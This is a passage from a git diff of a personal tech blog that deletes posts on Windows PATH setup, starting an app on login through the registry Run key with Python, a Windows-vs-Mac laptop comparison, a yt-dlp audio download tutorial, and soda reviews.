single click it and click edit. A new window should open up -![Windows 10 Path variable window](/images/windows/user-path-variable-edit.webp) -5. Click "New", paste the path to your directory without quotes, and press enter -![Windows 10 new directory to Path](/images/windows/add-new-user-path-variable.webp) -6. Click Ok and then click Ok again. diff --git a/content/posts/windows-programming-start-app-on-login.md b/content/posts/windows-programming-start-app-on-login.md deleted file mode 100644 index e24c79cdb..000000000 --- a/content/posts/windows-programming-start-app-on-login.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: "Windows Programming: Start App on Login" -date: 2023-06-29T20:22:04-04:00 -draft: false -tags: - - tutorial - - programming - - python - - windows -summary: "Tutorial on making Windows apps start on login by adding a registry value, including the registry key and a Python code example for programmatic control." ---- - -To start an app on login on Windows, you must add a REG_SZ value to the registry key `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. - -The value's name can be arbitrary, but not empty, and it's data should be of the format `path\to\executable optional args`. Personally, I add double quotes to the path, however apps like docker desktop do not even though the path has spaces. - -### Python Start App on Login - -This an excerpt of my music player's source code. This part is free for you to use without crediting me. - -```py -from pathlib import Path - -def start_on_login_win32(path_to_exe: Path | str, app_name: str, args: str, create_key=True): - """ - Example arguments: - path_to_exe: r'C:\Users\maste\AppData\Local\Programs\Music Caster\Music Caster.exe' - app_name: 'Music Caster' - args: '-m' - """ - import winreg as wr - classes_path = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' - access = wr.KEY_ALL_ACCESS | wr.KEY_WOW64_64KEY - with wr.OpenKeyEx(wr.HKEY_CURRENT_USER, classes_path, 0, access) as key: - if create_key: - wr.SetValueEx(key, app_name, 0, wr.REG_SZ, f'"{path_to_exe}" {args}') - if not create_key: - with suppress(FileNotFoundError): - wr.DeleteValue(key, app_name) -``` diff --git a/content/posts/windows-vs-macbooks.md b/content/posts/windows-vs-macbooks.md deleted file mode 100644 index a6495ce29..000000000 --- a/content/posts/windows-vs-macbooks.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: "Windows vs. Mac" -date: 2024-03-27T14:06:32-04:00 -draft: false -tags: - - opinion - - tech -summary: "An opinionated comparison of Windows laptops and MacBooks, evaluating them based on performance, battery life, gaming, software, local AI, external monitor support, and user experience. The post argues for Windows laptops in specific scenarios and critiques macOS." ---- - -So let's be clear. Until the snapdragon x elite CPU laptops have dropped, there are only a few reasons to purchase a Windows laptop over a MacBook. I won't deny the performance benefits of the M series chips, but I will dispute the battery life as it is only a couple hours better than a gaming laptop when faced with the same workload. - -## Reason 0 - Battery Life - -This used to be a compelling reason, the ASUS Zephyrus G14 (2024) has a battery life of [10 hours and 52 minutes]((https://youtu.be/-i7ocqfFrOk?si=wKmEd8LSttdJW-gc&t=420)) when watching YouTube, which is only 1 hour and 40 minutes behind the Macbook Pro (2023). - -If you don't care about GPU tasks (Gaming, using pytorch, using LLMs, video editing\*, 3D applications, [creative applications](https://www.nvidia.com/en-us/accelerated-applications/?filter=eyJ3b3JrbG9hZHMiOlsiQ29udGVudCBDcmVhdGlvbiAvIFJlbmRlcmluZyJdfQ==)), then I would suggest comparing the Macbook Airs versus laptops using [AMD "U" CPUs](https://www.amd.com/en/products/processors/laptop/ryzen.html#portfolio) (e.g. 8840U, 7840U). And when laptops start shipping with Snapdragon Elite X chips, they will most likely be all the rage (albeit you will be using Windows ARM and not Windows x86_64, so software support may be behind). - -## Reason 1 - Gaming - -So here's the deal. You can either purchase a macbook, a console, and pay a yearly online fee, or you can just purchase a gaming laptop that can play games with better looking graphics, and you can multitask. I don't know about anyone else, but I often run at least a browser while gaming. When I sold my PC, I did so because my laptop had better specs so it would be prudent to connect my laptop to my monitors and use my peripherals with the laptop. Really happy about my decision. - -I bought my Razer Blade 14 in 2022, but if I could've delayed my purchase I would've purchase the **Asus ROG Zephyrus G14.** As for which laptop specs to purchase, it's going to be graphics card based (CPU is going to be good enough). - -## Reason 2 - Software - -- If you need to use Linux or Windows software, such as Virtual Box, forget about M series Macbooks. You'd need to use [UTM](https://mac.getutm.app/). -- When I was virtualizing Linux MInt, the experience was nothing compared to running on bare metal. Don't use UTM unless you'd be using Virtual Box for the same task on Windows and Linux - -## Reason 3 - Local AIs are The Future - -The future is AI and I strongly believe those of us who can adequately integrate AI into our workflows on our systems will win. That's why having a graphics card with at leas 8GB of VRAM will prove to be well worth it. Open Source AI is only going to get better. In my opinion, beating the best free alternative is good enough for open-source to win. - -## Reason 4 - Wanting Macbook Graphics Performance Without MacOS - -[I'm not a fan of the operating system](/posts/macos-sucks) but I wanted equivalent performance when rendering. I hated the render performance of my old laptop with its integrated graphics. That's when I realized mobile i5's are a sham. I made sure to look for a laptop with a graphics card and I'm content it will last a long time. - -## Reason 5 - Limited External Monitor Support - -Even if you pay a boatload of money, the base M-series chip, in my case the M2, only supports one external monitor! Compare that to my Razer Blade: even though it's best to connect to one monitor with the dedicated GPU (dGPU), and the other monitor via the integrated GPU (iGPU), if there was no dGPU, the regular iGPU would still be able to connect to two external monitors. That means that the Macbook air is limited to two screens, whereas the Razer Blade is limited to at least 4 screens (2 through USB C / iGPU, 1 through HDMI / dGPU). In recent (2024) gaming laptops like the Zephyrus, both the HDMI port and one of the USB C ports are both connected to the dGPU, meaning you can make use of the entire monitor's specs without any performance hinderance. Regardless, the AMD integrated GPUs perform much better than the integrated Intel GPUs, at least until more ARC technology enabled CPUs [show up](https://www.acer.com/us-en/laptops/swift/swift-go-16#filterHeader). - -## Reason 6 - Mouse and touchpad Sync - -Mac developers are actually stupid. First of all, natural scrolling is disabled by default! That means if you scroll up, the page goes up instead of acting like a page of paper where scrolling up moves the screen down. When you enable natural scrolling, then your mouse behaves the wrong way as well! With natural scrolling enabled, the scroll wheel of the mouse is inverted! That means when you scroll the scroll wheel down, the page goes up instead of down. How frustrating. Apple fans love to praise Apple about how "intuitive" their Operating System is, but the reality is that Apple products are for simple people. The OS is made stupid simple, that only stupid simple people would find it useful. Clearly I am not wrong as Generation Z and Alpha are having trouble using computers, which can use 100% of Excel features, which guess what? Is required by the workplace. - -I should really be thanking Apple for making it easier to compete with businesses and get employed. In the age of Apple supremacy, people who are locked into the eco-system are at a disadvantage when it comes to getting paid. - -## Recommend Laptop Specs - -For a gaming laptop, I recommend **Asus ROG Zephyrus G14 (2024+)** or **Legion Slim 5 Gen 9+**. Best to purchase these laptops during Black Friday and Cyber Monday sales (as with any tech you want to purchase). Lastly, although the current era of software is memory intensive, as someone who is in the industry, software is going to start getting more memory efficient as we have reached an era of tech stack ubiquity where you learn once and ship everywhere. Learning once and shipping everywhere is how we get people to focus more on performance than features, and I myself have seen Windows 11 reduce the memory footprint of my own application without me having implemented all my memory optimization features. - -### Graphics Card - -- RTX 5060 or better (for the future) -- RTX 4070 or better -- RTX 3080-Ti -- RTX 3070-Ti -- RTX 4060: I put this at the bottom because the year before, laptops would have 3070-Ti's and then they only sold 4070 and 4060s. - -### RAM - -32GB recommended but 16GB is alright. I ran out of memory once but I'm a developer who was running too many programs in the background. - -### Storage - -At least 1TB. I have a 1TB laptop and I currently have 200GB of storage remaining. This is after: - -- Partitioning 100GB partitioned for Linux Mint (I am dual booting). I recommended [Nobara KDE](https://blog.elijahlopez.ca/posts/linux-tips/#which-distro-should-i-use) which is a Fedora based Distro focused on working out the box for dual booting. -- Dedicating 100GB for a virtual machine I was using for a single assignment in one of my classes -- I have several programming projects that take up a combined space of 20GB (better than the 50GB I thought it would be taking) -- 20GB of temporary downloads I plan on deleting soon - -### CPU - -- AMD Ryzen 7 or better -- Do not buy Intel until their power consumption becomes better -- Intel i7 or better if there is no AMD alternative diff --git a/content/posts/yt-dlp-audio-download.md b/content/posts/yt-dlp-audio-download.md deleted file mode 100644 index d00147f95..000000000 --- a/content/posts/yt-dlp-audio-download.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: "yt-dlp Audio Download Tutorial" -date: 2023-05-22T20:33:19-04:00 -draft: false -tags: - - tutorial ---- - -Since my [yt-dlp propaganda on YouTube is getting many views](https://www.youtube.com/watch?v=Tq9qpA2QOTI), I thought I'd create this article and a future video on how to use yt-dlp to download audio from websites, primarily YouTube. - -
Troubleshooting - -For most errors like 403: Forbidden, try upgrading yt-dlp. - -`pip install --upgrade yt-dlp` -
- -
Installing yt-dlp - -- [Windows download](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe) - - `winget install yt-dlp` - - `choco install yt-dlp` - - `scoop install yt-dlp` -- [macOS download](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos) - - `brew install yt-dlp` -- [Linux download](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp) - - `sudo pacman -Syu yt-dlp --noconfirm` - - - ```sh - sudo add-apt-repository ppa:tomtomtom/yt-dlp # Add ppa repo to apt - sudo apt update # Update package list - sudo apt install -y yt-dlp # Install yt-dlp - ``` - -- Via Python 3+ - - Windows: `python -m pip install -U yt-dlp` - - Other: `python3 -m pip install -U yt-dlp` - -
- -## Installing ffmpeg - -- Windows 10+: `winget install ffmpeg` - - If winget is not installed, you can install it [from here](https://apps.microsoft.com/store/detail/app-installer/9NBLGGH4NNS1) -- [Linux](https://ffmpeg.org/download.html#build-linux) -- [MacOS](https://ffmpeg.org/download.html#build-mac) - -## Downloading Audio - -You can try using `yt-dlp` before resorting to `python -m yt_dlp` like I did. In my case I installed yt-dlp with Python's pip because yt-dlp is embedded in my music player, [Music Caster](https://github.com/elibroftw/music-caster/#readme). - -```sh -python -m yt_dlp -xciw -f "bestaudio/best" --audio-quality 0 --audio-format mp3 --embed-thumbnail --embed-metadata -o "%(title)s.%(ext)s" - - -``` - -If the video doesn't have the artist in the title, use the following output template instead: `-o "%(creator,uploader,channel)s - %(title)s.%(ext)s"` - -## Downloading a CLip - -```sh -yt-dlp --download-sections "*start_time-end_time" -``` - -### Example - -If you are using yt-dlp on youtube videos, you can either supply the URL or just the ID. - -```sh -python -m yt_dlp UTwB8iJOux0 -xciw -f "bestaudio/best" --audio-quality 0 --audio-format mp3 --embed-thumbnail --embed-metadata -o "%(title)s.%(ext)s" -# python -m yt_dlp "https://www.youtube.com/watch?v=UTwB8iJOux0&pp=ygUVc2V3ZXJzbHZ0IGFsbCB0aGUgam95" -xciw -f "bestaudio/best" --audio-format mp3 --embed-thumbnail --embed-metadata -o "%(title)s.%(ext)s" - -``` - -[command line flags](https://github.com/yt-dlp/yt-dlp#filesystem-options) - -
terminal output - -```sh -[youtube] Extracting URL: UTwB8iJOux0 -[youtube] UTwB8iJOux0: Downloading webpage -[youtube] UTwB8iJOux0: Downloading android player API JSON -[info] UTwB8iJOux0: Downloading 1 format(s): 251 -[info] Downloading video thumbnail 41 ... -[info] Writing video thumbnail 41 to: Sewerslvt - all the joy In life was gone once you left.webp -[dashsegments] Total fragments: 1 -[download] Destination: Sewerslvt - all the joy In life was gone once you left.webm -[download] 100% of 5.87MiB in 00:00:02 at 2.68MiB/s -[ExtractAudio] Destination: Sewerslvt - all the joy In life was gone once you left.mp3 -Deleting original file Sewerslvt - all the joy In life was gone once you left.webm (pass -k to keep) -[Metadata] Adding metadata to "Sewerslvt - all the joy In life was gone once you left.mp3" -[ThumbnailsConvertor] Converting thumbnail "Sewerslvt - all the joy In life was gone once you left.webp" to png -[EmbedThumbnail] ffmpeg: Adding thumbnail to "Sewerslvt - all the joy In life was gone once you left.mp3" -``` - -
- -## Metadata Editing - -![Downloaded File Metadata in Music Caster](/images/yt-dlp/music-caster-metadata-before-edit.webp) - -yt-dlp is not smart enough to add all metadata nor the correct album cover, so if you are on Windows, you can use [Music Caster](https://github.com/elibroftw/music-caster/#readme) to further edit the metadata and add the correct cover art. - -![Metadata Edited in Music Caster](/images/yt-dlp/music-caster-metadata-edited.webp) diff --git a/content/posts/zero-sugar-carbonated-drink-reviews.md b/content/posts/zero-sugar-carbonated-drink-reviews.md deleted file mode 100644 index 15b9d9299..000000000 --- a/content/posts/zero-sugar-carbonated-drink-reviews.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: "Zero Sugar Carbonated Drink Reviews" -date: 2023-11-11T17:50:33-05:00 -draft: false -tags: - - review -summary: "Reviews zero sugar carbonated drinks including Diet Pepsi, Coke Zero, Diet Coke, Pepsi Zero Sugar, and Mountain Dew Zero Sugar, offering brief opinions and rankings." ---- - -### Diet Pepsi - -Probably the best - -### Coke Zero - -Not as good as diet pepsi, but still good - -### Diet Coke - -Pretty good. Sometimes better than coke zero. - -### Pepsi Zero Sugar - -Do not buy, makes your stomach bloated and kind of sick to be honest - -### Mountain Dew (Zero Sugar) - -This is tasty enough to drink again. Some cans failed quality control for sure. diff --git a/static/favicon.svg b/static/favicon.svg index 3ea25bba7..44bf33d46 100644 --- a/static/favicon.svg +++ b/static/favicon.svg @@ -1,126 +1 @@ - - - -E +E \ No newline at end of file diff --git a/static/images/university/ec-250/saving-investment-curves.png b/static/images/university/ec-250/saving-investment-curves.png new file mode 100644 index 000000000..53b4e86e9 Binary files /dev/null and b/static/images/university/ec-250/saving-investment-curves.png differ diff --git a/static/pwa-icon.png b/static/pwa-icon.png index 1bda68fe7..b0ed930bc 100644 Binary files a/static/pwa-icon.png and b/static/pwa-icon.png differ diff --git a/themes/anubis b/themes/anubis deleted file mode 160000 index 30046a7ea..000000000 --- a/themes/anubis +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 30046a7eafd95d0bf936a720c4a52b8454ac0a92